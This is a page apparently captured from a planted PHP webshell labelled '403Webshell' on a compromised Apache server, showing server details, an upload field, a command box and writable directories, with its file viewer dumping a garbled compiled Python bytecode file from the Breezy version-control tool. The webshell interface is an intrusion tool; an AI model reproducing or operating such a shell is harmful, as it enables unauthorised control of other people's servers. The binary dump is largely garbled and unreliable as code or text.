403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/self/root/usr/lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/self/root/usr/lib/python3/dist-packages/breezy/__pycache__/status.cpython-313.pyc
�

p��g�N�
�@�SSKrSSKJr SSKJr SSKJr SSKJrJrJ	r	 SSKJ
r SSKJ
r
Jr SS	KJr SSjrSS
SSSS
S
S
S\R$4
S
jrSrSSjrSr"SS\R.5r"SS5rSr\"5r\R7S\S5 g)�N�)�delta)�errors)�hooks)�log�osutils�tsort)�revision)�mutter�warning)�ShelvingUnsupportedFTc�4�U(a*URUUUSUS9n[R"X�5 gURUUUUS9nURV
s/sH)o�RU
RS5(aM'U
PM+ sn
UlU"UUU	UU
S9 gs sn
f)aDisplay summary of changes.

This compares two trees with regards to a list of files, and delegates
the display to underlying elements.

For short output, it creates an iterator on all changes, and lets a given
reporter display these changes.

For stantard output, it creates a delta of the changes, and forwards it
to a callback

:param to_file: If set, write to this file (default stdout.)
:param old: Start tree for the comparison
:param end: End tree for the comparison
:param specific_files: If set, a list of filenames whose status should be
    shown.  It is an error to give a filename that is not in the working
    tree, or in the working inventory or in the basis inventory.
:param show_short_reporter: Reporter in charge of display for short output
:param show_long_callback: Callback in charge of display for normal output
:param short: If True, gives short SVN-style status lines.
:param want_unchanged: Deprecated parameter. If set, includes unchanged
    files.
:param show_ids: If set, includes each file's id.
:param want_unversioned: If False, only shows versioned files.
:param classify: Add special symbols to indicate file kind.
F)�require_versioned�want_unversioned)�want_unchanged�specific_filesrr)�show_ids�show_unchanged�classifyN)�iter_changes�
_mod_delta�report_changes�changes_from�unversioned�
is_ignored�path)�to_file�old�newr�show_short_reporter�show_long_callback�shortrrrr�changesr�changes              �//usr/lib/python3/dist-packages/breezy/status.pyrrs���N
��"�"����#�-�#�
��	�!�!�'�?�� � ��)�)�-�	!�
��"'�!2�!2�
�!2�v�.�.����UV��:X�F�!2�
���	����)��	
��
s�&B�<Bc��Uc[RnUR5 SnUcJUR5URR5:wa[S5 UnUR
5n
Oq[U5S:�abUSRUR5n
[U5S:�a2USRb"USRUR5nSnOUnW
R5 WR5 [SHnU"[U
UUUUUUUS95 M [!XU5unnU(+n["R$"UUR&U	S	9n[)UU
UUUU
UUUU	S
9
 Ub�UVs/sHnUR'U5(dMUPM nn[U5S:�aU(dUR+S5 SnOS
nUH$nUR+SR-UU55 M& UR/5nUbUR1X�SSS9Sn[U5S:�aU(dUR+S5 UH>nU(aSnOSnUR+SR-UUR3555 M@ U(aU(dUR+S5 UH0nU(aSnOSnUR+SR-UU55 M2 U(aU(a
[5X�XgS9 U(a[R6"U5e[SHnU"[U
UUUUUUUS95 M SSS5 SSS5 SSS5 g![Ra$n[R"[U55eSnAff=f![Ra$n[R"[U55eSnAff=fs snf!,(df   N�=f!,(df   N�=f!,(df   g=f)a�Display summary of changes.

By default this compares the working tree to a previous revision.
If the revision argument is given, summarizes changes between the
working tree and another, or between two revisions.

The result is written out as Unicode and to_file should be able
to encode that.

If showing the status of a working tree, extra information is included
about unknown files, conflicts, and pending merges.

:param specific_files: If set, a list of filenames whose status should be
    shown.  It is an error to give a filename that is not in the working
    tree, or in the working inventory or in the basis inventory.
:param show_ids: If set, includes each file's id.
:param to_file: If set, write to this file (default stdout.)
:param show_pending: If set, write pending merges.
:param revision: If None, compare latest revision with working tree
    If not None, it must be a RevisionSpec list.
    If one revision, compare with working tree.
    If two revisions, show status between first and second.
:param short: If True, gives short SVN-style status lines.
:param verbose: If True, show all merged revisions, not just
    the merge tips
:param versioned: If True, only shows versioned files.
:param classify: Add special symbols to indicate file kind.
:param show_long_callback: A callback: message = show_long_callback(to_file, delta,
    show_ids, show_unchanged, indent, filter), only used with the long output
NTz-working tree is out of date, run 'brz update'rrF�
pre_status)r)�output_file�unversioned_filterr)r"rrrz	ignored:
� zI  z{} {}
)�
ignore_misses�recursezconflicts:
zC  z
nonexistent:
zX  )�verbose�post_status)�sys�stdout�	lock_read�
last_revision�branchr�
basis_tree�len�as_treer�NoSuchRevision�CommandError�str�specr�StatusHookParams�_filter_nonexistentr�_ChangeReporterrr�write�format�	conflicts�select_conflicts�describe�show_pending_merges�PathsDoNotExist)�wtrrr�show_pendingr
r"r-�	versionedrr!�new_is_working_treerr�e�hook�nonexistentsr�reporter�specific�
ignored_files�prefix�ignored_filer@�conflict�nonexistents                          r%�show_tree_statusrSds���V���*�*��	����"�������!�R�Y�Y�%<�%<�%>�>��G�H��C��.�.�"�C�
��]�Q�
�
2��q�k�)�)�"�)�)�4���H�
��!����(8�(8�(D�6�"�1�+�-�-�b�i�i�8�C�*/�'���
�]�]�_�c�m�m�o��l�+���$����!� ���'5�	��,�,?�~�TW�+X�(�N�L�#,�}��"�1�1�#�#&�>�>�!��H�

������"��!1�!�!�
��)�.<�!�-;��s�~�~�h�?W�H�^��!��}�%��)�%��M�M�,�/� �F�"�F�$1�L��M�M�)�"2�"2�6�<�"H�I�%2�
�
�
��I��)�%�6�6��t�T�7����	��9�~��!�%��
�
�n�-�%���"�F� �F��
�
�i�.�.�v�x�7H�7H�7J�K�L�&��E��
�
�.�/�+���"�F� �F��
�
�i�.�.�v�{�C�D� ,�#�|�#�C�%�I���,�,�\�:�:��m�,���$����!� ���'5�	��-�o.�_�)
����(�(�
2��)�)�#�a�&�1�1��
2���,�,�6� �-�-�c�!�f�5�5��6��Z!�S.�o��_�_��)
��s��AO0�M�"O0� N�"O0�5O�A6O�<O	
�O	
� FO�:O�O0�N�'N�N�O0�O�"O�O�O0�	O�
O�O�
O-	�)O0�0
O>c��0nUH,nXB;a/X4'MX$Vs/sHoUU;dM
UPM snX4'M. [R"X05nUR5$s snf)a�Get an iterator which will return the revisions in merge sorted order.

This will build up a list of all nodes, such that only nodes in the list
are referenced. It then uses MergeSorter to return them in 'merge-sorted'
order.

:param revision_ids: A set of revision_ids
:param parent_map: The parent information for each node. Revisions which
    are considered ghosts should not be present in the map.
:return: iterator from MergeSorter.iter_topo_order()
)r	�MergeSorter�iter_topo_order)�tip_revision�revision_ids�
parent_map�parent_graph�revision_id�p�sorters       r%�_get_sorted_revisionsr^sn���L�#���(�(*�L�%�&�2�)�2�a�<�6G��2�)�L�%�$��
�
�|�
:�F��!�!�#�#��	)s
�	A�Ac��^^^�UR5n[U5S:ag[R"5mTbTS-
mU(aSnSnOSnSnUUU4SjnUSSnURn	US	n
U(d*U(aTRS
5 OTRS5 U	RR5nU
/n[R"T5mUGH9n
U	RRU
5nU"X�5 U(dM1URX�5nURU
5 UR!["R$5 ['U	RR)U55n[+X�U	RR-U55n[/U5unnnnUU
:waR3UU
55eUHGunnnnUUnUc+TRUS-URS
5-S-5 M;U"UUU5 MI GM< g![Ra? TRUS-U
RS
5-S-5 URU
5 GM�f=f)z8Write out a display of pending merges in a working tree.�NrzP   zP.   z  z    c�x>�TcTnOT[U5-
nTRSXUS9nTRUS-5 g)N)rO�
)r5�
log_stringr>)�revrO�width�log_message�
log_formatter�
term_widthrs    ���r%�show_log_message�-show_pending_merges.<locals>.show_log_message8sD������E���V��,�E�#�.�.�t�S��.�O���
�
�k�D�(�)�rzpending merges:
z8pending merge tips: (use -v to see all merge revisions)
z(ghost) zutf-8rbz;Somehow we misunderstood how iter_topo_order works {} != {})�get_parent_idsr5r�terminal_widthr3r>�
repository�	get_graphr�LineLogFormatter�get_revisionrr7�decode�append�find_unique_ancestors�discard�
_mod_revision�
NULL_REVISION�dict�iter_revisionsr^�get_parent_map�next�AssertionErrorr?)rrr"r-�parents�first_prefix�
sub_prefixri�pendingr3r2�graph�other_revisions�mergerd�merge_extra�	revisions�rev_id_iterator�num�first�depth�eom�_num�	sub_merge�_depth�_eomrgrhs `                        @@r%rCrC'sU���� � �"�G�
�7�|�a����'�'�)�J����!�^�
�����
����
�*��a�b�k�G�
�Z�Z�F��A�J�M����M�M�-�.��M�M�U�V����'�'�)�E�$�o�O��(�(��1�M���	��#�#�0�0��7�C�	��+����1�1�%�I�����u�%����M�7�7�8���*�*�9�9�+�F�G�	�0��� 1� 1� @� @�� M�
��"&�o�!6���U�E�3��E�>� �M�T�T��5���
�
.=�)�D�)�V�T��I�&�C��{��
�
���+�i�.>�.>�w�.G�G�$�N����Y�y�1�:�>�.=�G���$�$�	��M�M�,��3�e�l�l�7�6K�K�d�R�S��"�"�5�)��		�s�H�AI'�&I'c�8�[SU5 U(dU/4$URU5nURU5nUVs/sHoBRU5(aMUPM nnUVs/sHoDU;dM
UPM nn[U5[U54$s snfs snf)a�Convert orig_paths to two sorted lists and return them.

The first is orig_paths paths minus the items in the second list,
and the second list is paths that are not in either inventory or
tree (they don't qualify if they exist in the tree's inventory, or
if they exist in the tree but are not versioned.)

If either of the two lists is empty, return it as an empty list.

This can be used by operations such as brz status that can accept
unknown or ignored files.
zcheck paths: %r)r�filter_unversioned_files�has_filename�sorted)�
orig_paths�old_tree�new_tree�srrR�	remainings       r%r<r<xs�����j�)���2�~���)�)�*�5�A��)�)�!�,�A�$%�I�A�D�-B�-B�4�-H�4�A�K�I�",�H�*�$�K�0G��*�I�H�
�)��f�[�1�1�1��
J��Hs�B�B�'	B�4Bc��\rSrSrSrSrSrg)�StatusHooksi�z�A dictionary mapping hook name to a list of callables for status hooks.

e.g. ['post_status'] Is the list of items to be called when the
status command has finished printing the status.
c��[RRUSS5 URSSS5 URSSS5 g)	zjCreate the default hooks.

These are all empty initially, because by default nothing should get
notified.
z
breezy.statusrr.aKCalled with argument StatusHookParams after Breezy has displayed the status. StatusHookParams has the attributes (old_tree, new_tree, to_file, versioned, show_ids, short, verbose). The last four arguments correspond to the command line options specified by the user for the status command. to_file is the output stream for writing.)r`�r'aGCalled with argument StatusHookParams before Breezy displays the status. StatusHookParams has the attributes (old_tree, new_tree, to_file, versioned, show_ids, short, verbose). The last four arguments correspond to the command line options specified by the user for the status command. to_file is the output stream for writing.N)�
_mod_hooks�Hooks�__init__�add_hook��selfs r%r��StatusHooks.__init__�sP��	���!�!�$���A��
�
��
8�
�		
�	
�
�
��
8�
�		
rk�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r��__static_attributes__r�rkr%r�r��s���
rkr�c�0�\rSrSrSrSSjrSrSrSrg)	r;i�aVObject holding parameters passed to post_status hooks.

:ivar old_tree: Start tree (basis tree) for comparison.
:ivar new_tree: Working tree.
:ivar to_file: If set, write to this file.
:ivar versioned: Show only versioned files.
:ivar show_ids: Show internal object ids.
:ivar short: Use short status indicators.
:ivar verbose: Verbose flag.
Nc	�d�XlX lX0lX@lXPlX`lXplX�lg)a)Create a group of post_status hook parameters.

:param old_tree: Start tree (basis tree) for comparison.
:param new_tree: Working tree.
:param to_file: If set, write to this file.
:param versioned: Show only versioned files.
:param show_ids: Show internal object ids.
:param short: Use short status indicators.
:param verbose: Verbose flag.
:param specific_files: If set, a list of filenames whose status should be
    shown.  It is an error to give a filename that is not in the
    working tree, or in the working inventory or in the basis inventory.
N)r�r�rrGrr"r-r)	r�r�r�rrGrr"r-rs	         r%r��StatusHookParams.__init__�s-��0!�
� �
���"�� �
��
���,�rkc�4�URUR:H$�N)�__dict__)r��others  r%�__eq__�StatusHookParams.__eq__�s���}�}����.�.rkc��SRURRURURUR
URURURURUR5	$)Nz$<{}({}, {}, {}, {}, {}, {}, {}, {})>)r?�	__class__r�r�r�rrGrr"r-rr�s r%�__repr__�StatusHookParams.__repr__�s\��5�<�<��N�N�#�#��M�M��M�M��L�L��N�N��M�M��J�J��L�L����

�
	
rk)r�r�r"rrrr-rGr�)	r�r�r�r�r�r�r�r�r�r�rkr%r;r;�s��	�(�-�B/�
rkr;c��UR(ag[URSS5nUcgU"5nUR5nU(a[SnSn[	U5S:XaUnOUnUR
R
U[	U5-5 UR
R
S5 gg![a [S5 gf=f)zTpost_status hook to display a summary of shelves.

:param params: StatusHookParams.
N�get_shelf_managerz%d shelf exists. z%d shelves exist. rz%See "brz shelve --list" for details.
z7shelving not supported by tree, not displaying shelves.)	r�getattrr��active_shelvesr5rr>r
r)�paramsr��manager�shelves�singular�plural�fmts       r%�_show_shelve_summaryr��s�����������1D�d�K��� ��K�#�%���(�(�*���*�H�)�F��7�|�q� ������N�N� � ��s�7�|�!3�4��N�N� � �!I�J���	�J��H�I�J�s�B)�)C�Cr.z
brz status)FFFFT)FF)r/�rrrrr�rrr	r
rv�tracerr�workingtreer
r�report_deltarSr^rCr<r�r�r;r��install_named_hookr�rkr%�<module>r�s���"�!��!�!�!�'�"�,����
�
�B
�N�
���
�
���
�!�.�.�e�P$�6N?�b2�6!
�*�"�"�!
�H;
�;
�|K�:	�
������(<�l�Krk

Youez - 2016 - github.com/yon3zu
LinuXploit